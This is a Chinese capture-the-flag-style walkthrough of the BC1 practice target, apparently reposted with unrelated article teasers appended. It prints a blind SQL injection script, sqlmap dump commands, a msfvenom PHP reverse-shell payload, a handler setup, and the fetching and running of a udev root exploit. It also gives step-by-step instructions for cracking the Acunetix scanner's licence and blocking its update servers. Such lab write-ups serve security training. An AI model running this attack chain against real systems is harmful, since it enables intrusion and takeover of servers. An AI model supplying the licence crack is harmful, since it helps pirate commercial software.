零基础打靶—BC1靶场

一、打靶的主要五大步骤

1.确定目标:在所有的靶场中,确定目标就是使用nmap进行ip扫描,确定ip即为目标,其他实战中确定目标的方式包括nmap进行扫描,但不局限于这个nmap。
2.常见的信息收集:比如平常挖洞使用fofa,天眼查,ip域名等进行查,在我们这次训练靶场中比如信息收集包括查看源码,使用工具dirb等
3.发现漏洞:之前你们看到那些理论比如sql注入,文件上传等,或者找到相关的系统信息,去网上找相关的exp这些都是为了拿到webshell
4.利用漏洞就是使用漏洞拿到webshell
5.权限提升,就是所谓的提权,因为一般进入拿到webshell后进入到服务器了都是低权限,在接下来的靶中我们的目标都是拿到root权限,所以拿到webshell后是低权限用户,这个时候我们需要一系列的方式进行提权,最后拿到root权限,即为结束。


                                文章所需靶场及打靶过程所遇问题关注后私信获得


二、打靶的具体流程

渗透测试工具安装Awvs

┌──(kali㉿kali)-[~]
└─$ ls
Awvs.zip  Documents  Music     Public     Videos
Desktop   Downloads  Pictures  Templates┌──(kali㉿kali)-[~]
└─$ unzip Awvs.zip  
Archive:  Awvs.zipinflating: Awvs/wa_data.dat        inflating: Awvs/license_info.json  
[Awvs.zip] Awvs/install.log password: 
password incorrect--reenter: 
password incorrect--reenter: inflating: Awvs/install.log        inflating: Awvs/acunetix_14.5.211115146_x64.sh ┌──(kali㉿kali)-[~]
└─$ cd Awvs            ┌──(kali㉿kali)-[~/Awvs]
└─$ ls
acunetix_14.5.211115146_x64.sh  license_info.json
install.log                     wa_data.dat┌──(kali㉿kali)-[~/Awvs]
└─$ sudo ./acunetix_14.5.211115146_x64.sh 
[sudo] password for kali:

按回车同意隐私条款…..注意 一直长按就行了,直到末尾输入yes

然后输入用户名和密码以及邮箱。邮箱:123456789@qq.com 密码:!123456Kr

接下来浏览器输入https://192.168.99.128:3443/192.168.99.128

邮箱:123456789@qq.com   密码:!123456Kr

登录后,提示目前是尚未激活的状态。

接下来进行破解

┌──(kali㉿kali)-[~/Awvs]
└─$ sudo cp -r  license_info.json /home/acunetix/.acunetix/data/license
┌──(kali㉿kali)-[~/Awvs]
└─$ sudo chattr +i /home/acunetix/.acunetix/data/license/license_info.json 
┌──(kali㉿kali)-[~/Awvs]
└─$ sudo rm -rf /home/acunetix/.acunetix/data/license/wa_data.dat
┌──(kali㉿kali)-[~/Awvs]
└─$ sudo cp -r  wa_data.dat /home/acunetix/.acunetix/data/license
┌──(kali㉿kali)-[~/Awvs]
└─$ sudo chattr +i /home/acunetix/.acunetix/data/license/wa_data.dat 
修改hosts文件
vim /etc/hosts
#增加下面两行
127.0.0.1 updates.acunetix.com
127.0.0.1 erp.acunetix.com
┌──(kali㉿kali)-[~/Awvs]
└─$ cat /etc/hosts                                            
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters┌──(kali㉿kali)-[~/Awvs]
└─$ sudo vim /etc/hosts┌──(kali㉿kali)-[~/Awvs]
└─$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
127.0.0.1       updates.acunetix.com
127.0.0.1       erp.acunetix.com                                         ::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters

然后再次刷新浏览器,可以看到已经激活

设置不更新

AWVS进程:

信息收集查询靶机的IP 与开放端口以及一些渗透测试需要的信息

自己的网卡设备名和IP地址段

使用工具对该网段进行局域网存活主机探测

使用nmap对发现的主机进行扫描

┌──(kali㉿kali)-[~]
└─$ nmap 192.168.8.0/24  

信息识别

Wappalyzer插件获得信息:Web服务:Apache 2.2.3操作系统:Centos后端语言:PHP 5.2.6

 Web漏洞扫描发现

Awvs进行Web漏洞探测发现打开本地靶场

新增扫描探测目标

填入目标地址,标注标题,点击又上角的save

可以设置扫描速度,这里暂时默认

点击scan 开始进行漏洞扫描探测

可以看到在扫描中

可以看到扫描出的漏洞,需要进一步验证

这里也可以看到站点目录结构

SQL注入挖掘

发现输入?id=1   2,3,4 会有变化

发现输入 ?id=1'   ?id=1"  没有返回信息,没有报错

尝试输入 ?id=1 and sleep(2) 页面加载明显变慢

这里 可以使用时间盲注进行手工探测结合上面测试的SQL注入点,可以尝试进行代码注入

编辑sqlInjection-time_py3.py


#coding:utf-8
import requests
import time
#ip地址需要根据实际情况进行修改
ip_port="192.168.99.131:80"
data={"login":"bee","password":"bug","security_level":"0","form":"submit"
}
urlLogin="http://%s/index.php"%ip_port
session=requests.session()
resp=session.post(urlLogin,data)
num=0#获取数据库名称长度
for i in range(1,21):url="http://%s/index.php?id=1 and length(database())=%d and sleep(3) -- &action=search"%(ip_port,i) startTime=time.time()rsp=session.get(url)endTime=time.time()ga=endTime-startTimeif ga>1:print("length of database name is %d"%i)print(startTime)print(endTime)num=ibreak#获取数据库名字
l=[]
print("%d"%num)
for j in range(1,num+1):for k in range(33,128):url="http://%s/index.php?id=1 and ascii(substr(database(),%d,1))=%d   and sleep(3) -- &action=search"%(ip_port,j,k)startTime=time.time()rsp=session.get(url)endTime=time.time()ga=endTime-startTimeif ga>1:print(chr(k))l.append(chr(k))break
print(l)

使用sqlInjection-time_py3.py 进行测试注入Python sqlInjection-time_py3.py

可以看到通过代码,可以拿到当前的数据库信息是:CMS

结合nikto进行漏洞挖掘

敏感目录探测:/sql/

┌──(kali㉿kali)-[~]
└─$ nikto -h http://192.168.99.131  说明:扫描目标CGI安全(危险文件及路径)

这里可以看到敏感目录 sql

这里有一个数据库文件, 可以打开看一下

这里可以看到一些敏感信息,访问开放的db.sql文件,拿到

用户名和密码admin adminpass

可以看到登录成功,但是没有看到多余的标签页,还是Home、login 考虑到是否有其他页面没有显示出来,尝试用不同的浏览器测试。下安装谷歌浏览器:在/usr/share/applications/下可以看到,然后把图标可以发送到桌面

发现,再谷歌浏览器中,显示了新的标签页

这里可以看到上传页面,可以测试是否存在上传漏洞

这里看到有重置密码的地方,可以测试是否存在csrf漏洞

这里可以看到之前的登录日志

敏感目录探测:/docs/:

这里可以看到敏感目录 docs

这里可以看到有敏感文件,有code_backup.tgz 代码备份phpinfo.php PHP信息页面可以尝试下载源码进行查看

可以把下载的笔记发送到桌面进行查看

把发送的桌面的源码包放到新建的code文件下进行解压查看

┌──(kali㉿kali)-[~/Desktop]
└─$ mkdir code
┌──(kali㉿kali)-[~/Desktop]
└─$ cp code_backup.tgz code  
┌──(kali㉿kali)-[~/Desktop]
└─$ cd code  
┌──(kali㉿kali)-[~/Desktop/code]
└─$ tar -zxf code_backup.tgz 

我们可以进入相关的文件夹下,进行代码查看我们先进入到actiocns 文件夹下进行查看,这里先查看default.php

可以再打开login.php代码页面

SQLMap获取敏感信息

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.99.131/index.php?id=4" --dbs

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.99.131/index.php?id=4" --dbs -D cms --tables

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.99.131/index.php?id=4" --dbs -D cms --tables -T user --columns

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.99.131/index.php?id=4" --dbs -D cms --tables -T user --columns -C user_id,user_username,user_password --dump

文件包含利用

MSF反弹shell

┌──(kali㉿kali)-[~]
└─$ msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.99.128 LPORT=4444 -o shell.php

可以看到这里生成并保存了shell.php 网页木马接下来上传刚刚生成的shell.php,打开谷歌浏览器,打开http://192.168.99.131/  点击登录,输入 admin/adminpass找到Add Event 的标签页

在这里进行shell.php 上传

可以看到提交后没有任何的提示回到网页界面,可以观察到

可以看到已经上传成功,路径是/files/shell.php接下来使用msfconsole工具

┌──(kali㉿kali)-[~]
└─$ msfconsole

接下来启动监听

msf6 > use exploit/multi/handler  使用监听模块
[*] Using configured payload generic/shell_reverse_tcp  被动监听
msf6 exploit(multi/handler) > set payload php/meterpreter_reverse_tcp
payload => php/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.99.128 设置本地地址
lhost => 192.168.99.128
msf6 exploit(multi/handler) > set 查看配置
msf6 exploit(multi/handler) > exploit  开启监听,

进一步确认监听端口是否正常开启

┌──(kali㉿kali)-[~]
└─$ netstat -tunlp 

接下来在靶机进行点击操作,点击之前上传的,shell.php 产生链接会话

注意这里已经可以看到链接会话session 1 opened

下面 可以查看系统信息

meterpreter > sysinfo 

 可以看到系统内核是:Linux 内核2.6版本 可以尝试搜索 Linux 内核2.6版本

看到有关键词提权

udev提权输入shell

meterpreter > shell 

输入系统命令查看:查看系统IP:ifconfig

查看当前用户 whoami

可以看到当前用户Apache 服务用户权限不是系统用户

获得交互式shell :python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
bash-3.2$ whoami 
whoami 
apache
bash-3.2$ 

提取权限

┌──(kali㉿kali)-[~]
└─$ sudo searchsploit -u   #更新
┌──(kali㉿kali)-[~]
└─$ sudo searchsploit linux udev

找到对应的攻击代码

┌──(kali㉿kali)-[~]
└─$ ls /usr/share/exploitdb/exploits/linux/local 

拷贝到当前目录下

┌──(kali㉿kali)-[~]
└─$ cp /usr/share/exploitdb/exploits/linux/local/8478.sh ./┌──(kali㉿kali)-[~]
└─$ ls                                          
8478.sh  

下面把8478.sh 上传到靶机

可以看到当前的目录就是之前的文件上传目录下面 把8478.sh 上传到这个目录

┌──(kali㉿kali)-[~]
└─$ python -m http.server			
########将存放攻击代码的/home/kali作为临时http服务器共享目录,并临时开放http服务┌──(kali㉿kali)-[~]
└─$ pwd               
/home/kali┌──(kali㉿kali)-[~]
└─$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

在之前的窗口把8478.sh 下载到目录

ls 查看可以看到已经把8478.sh 下载下来了

#这里可以看没有执行权限 需要给到执行权限bash-3.2$ chmod +x 8478.sh   #给执行权限

bash-3.2$ ls -l 
ls -l 
total 68
-rw-r--r-- 1 apache apache  3365 Nov 19  2022 8478.sh  
bash-3.2$ chmod +x 8478.sh   #给执行权限
chmod +x 8478.sh 

bash-3.2$ ls -l 
ls -l
total 68
-rwxr-xr-x 1 apache apache  3365 Nov 19  2022 8478.sh

利用攻击脚本进行攻击,查看一下当前的进程

bash-3.2$ cat /proc/net/netlink 			#查看进程号PID

这里可以看到一个,笔记特殊的进程号,ffffffff netlink是一种基于网络的机制,允许在内核内部以及内核与用户层之间进行通信

这里可以看到提权成功,由bash-3.2$ 变成 sh-3.2# 可以输入命令,whoami或者id进行验证

可以看到已经是root的用户及权限

下面 可以修改root超级管理员的密码

sh-3.2# passwd root 
passwd root 
Changing password for user root.
New UNIX password: 123456BAD PASSWORD: it is too simplistic/systematic
Retype new UNIX password: 123456passwd: all authentication tokens updated successfully.
sh-3.2# 

尝试使用root,修改后的密码123456 进行系统登录

查看IP地址:ifconfig

查看SSH是否安装(检查是否装了SSH包)。输设置SSH服务为开机启动。

远程链接也可以登录

三、打靶思路总结

  • 使用扫描工具识别主机及端口服务,进行威胁建模

  • 使用工具进行服务枚举,得到数据库文件和网站源码

  • 审计网站源码,发现存在SQL注入和文件包含漏洞

  • 通过SQLMAP进行注入,得到用户名和密码凭证

  • 使用msf生成php反向shell,通过上传执行反向连接

  • 寻找内核版本exp,从而提权到root用户

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/228295.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【损失函数】SmoothL1Loss 平滑L1损失函数

1、介绍 torch.nn.SmoothL1Loss 是 PyTorch 中的一个损失函数,通常用于回归问题。它是 L1 损失和 L2 损失的结合,旨在减少对异常值的敏感性。 loss_function nn.SmoothL1Loss(reductionmean, beta1.0) 2、参数 size_average (已弃用): 以前用于确定是…

LabVIEW在大型风电机组状态监测系统开发中的应用

LabVIEW在大型风电机组状态监测系统开发中的应用 风电作为一种清洁能源,近年来在全球范围内得到了广泛研究和开发。特别是大型风力发电机组,由于其常常位于边远地区如近海、戈壁、草原等,面临着恶劣自然环境和复杂设备运维挑战。为了提高风电…

Everything 搜索

正则表达式Regex 首先需要开启 Everything 工具在(字符串)查找时,对正则表达式功能的支持: 需要在【菜单栏】⇒ 【Search】⇒ 勾选【Enable Regex】 查看Everything 支持的语法:

Java安装详细教程

文章目录 一、JDK 下载 和 安装1.1 选择 Java版本1.2 下载 JDK 二、 配置环境变量2.1 配置环境变量的原因2.2 配置环境变量2.3 验证配置是否成功 参考资料 一、JDK 下载 和 安装 1.1 选择 Java版本 访问 Oracle 官方网站的 Java 下载页面Java Archive | Oracle。 在 “Java …

MAC 中多显示器的设置(Parallels Desktop)

目录 一、硬件列表: 二、线路连接: 三、软件设置: 1. 设置显示器排列位置及显示参数 2. 分别设置外接显示器为:扩展显示器,内建显示器为主显示器 3. 设置Parallels Desktop屏幕参数 四、结果 一、硬件列表&a…

005、数据类型

1. 关于数据类型 Rust中,每个值都有其特定的数据类型,Rust会根据数据的类型来决定如何处理它们。 Rust是一门静态类型语言,它在编译程序的过程中就需要知道所有变量的具体类型。在大部分情况下,编译器可以根据我们如何绑定、使用变…

【Redis-10】Redis集群的实现原理和实践

Redis集群是Redis提供的分布式数据库方案,通过分片来进行数据共享,实现复制和故障转移的功能。 1. Redis集群节点 一个Redis集群由多个节点组成,多个节点可以通过命令实现连接,由独立状态转为集群状态,命令是cluster …

《Python机器学习原理与算法实现》学习笔记

以下为《Python机器学习原理与算法实现》(杨维忠 张甜 著 2023年2月新书 清华大学出版社)的学习笔记。 根据输入数据是否具有“响应变量”信息,机器学习被分为“监督式学习”和“非监督式学习”。 “监督式学习”即输入数据中即有X变量&…

WPF 消息日志打印帮助类:HandyControl+NLog+彩色控制台打印+全局异常捕捉

文章目录 前言相关文章Nlog配置HandyControl配置简单使用显示效果文本内容 全局异常捕捉异常代码运行结果 前言 我将简单的HandyControl的消息打印系统和Nlog搭配使用,简化我们的代码书写 相关文章 .NET 控制台NLog 使用 WPF-UI HandyControl 控件简单实战 C#更改…

10TB海量JSON数据从OSS迁移至MaxCompute

前提条件 开通MaxCompute。 在DataWorks上完成创建业务流程,本例使用DataWorks简单模式。详情请参见创建业务流程。 将JSON文件重命名为后缀为.txt的文件,并上传至OSS。本文中OSS Bucket地域为华东2(上海)。示例文件如下。 {&qu…

Unity坦克大战开发全流程——结束场景——通关界面

结束场景——通关界面 就照着这样来拼 写代码 hideme不要忘了 修改上一节课中的代码

[2024区块链开发入门指引] - 比特币运行原理

一份为小白用户准备的免费区块链基础教程 工欲善其事,必先利其器 Web3开发中,各种工具、教程、社区、语言框架.。。。 种类繁多,是否有一个包罗万象的工具专注与Web3开发和相关资讯能毕其功于一役? 参见另一篇博文👉 2024最全面…

数据结构:第7章:查找(复习)

目录 顺序查找: 折半查找: 二叉排序树: 4. (程序题) 平衡二叉树: 顺序查找: ASL 折半查找: 这里 j 表示 二叉查找树的第 j 层 二叉排序树: 二叉排序树(Binary Search Tree&…

FTP的基本介绍

FTP ftp的介绍: ftp是一个可以提供共享文件的服务器,他可以通过iis.msc也就是windows 的服务器管理器来打开,或者通过cmd命令行打开 如何使用iis.msc打开ftp,如何使用cmd打开ftp ,如何匿名登录ftp,ftp和…

音频修复和增强软件:iZotope RX 10 (Win/Mac)中文汉化版

iZotope RX 是一款专业的音频修复和增强软件,一直是电影和电视节目中使用的行业标准音频修复工具,iZotope能够帮助用户对音频进行制作、后期合成处理、混音以及对损坏的音频进行修复,再解锁更多功能之后还能够对电影、游戏、电视之中的音频进…

Centos7:Jenkins+gitlab+node项目启动(3)

Centos7:Jenkinsgitlabnode项目启动(1) Centos7:Jenkinsgitlabnode项目启动(1)-CSDN博客 Centos7:Jenkinsgitlabnode项目启动(2) Centos7:Jenkinsgitlabnode项目启动(2)-CSDN博客 Centos7:Jenkinsgitlabnode项目启…

计算机网络(6):应用层

每个应用层协议都是为了解决某一类应用问题,而问题的解决又往往是通过位于不同主机中的多个应用进程之间的通信和协同工作来完成的。 应用层的具体内容就是规定应用进程在通信时所遵循的协议。 应用层的许多协议都是基于客户服务器方式。即使是对等通信方式&#x…

计算机操作系统(OS)——P3内存管理

1、内存的基础知识 学习目标: 什么是内存?有何作用? 内存可存放数据。程序执行前__需要先放内存中才能被CPU处理__——缓和CPU与硬盘之间的速度矛盾。 【思考】在多道程序程序下,系统会有多个进程并发执行,也就是说…

MacOS安装JDK8

下载 oracle官网下载。 oracle官网 镜像下载。 华为:https://repo.huaweicloud.com/java/injdk:https://www.injdk.cn 安装 下载完成后双击pkg,按提示流程安装。 安装完成后打开终端窗口,执行命令查看版本: java -…

2023-12-29 服务器开发-Centos部署LNMP环境

摘要: 2023-12-29 服务器开发-Centos部署LNMP环境 centos7.2搭建LNMP具体步骤 1.配置防火墙 CentOS 7.0以上的系统默认使用的是firewall作为防火墙, 关闭firewall: systemctl stop firewalld.service #停止firewall systemctl disable fire…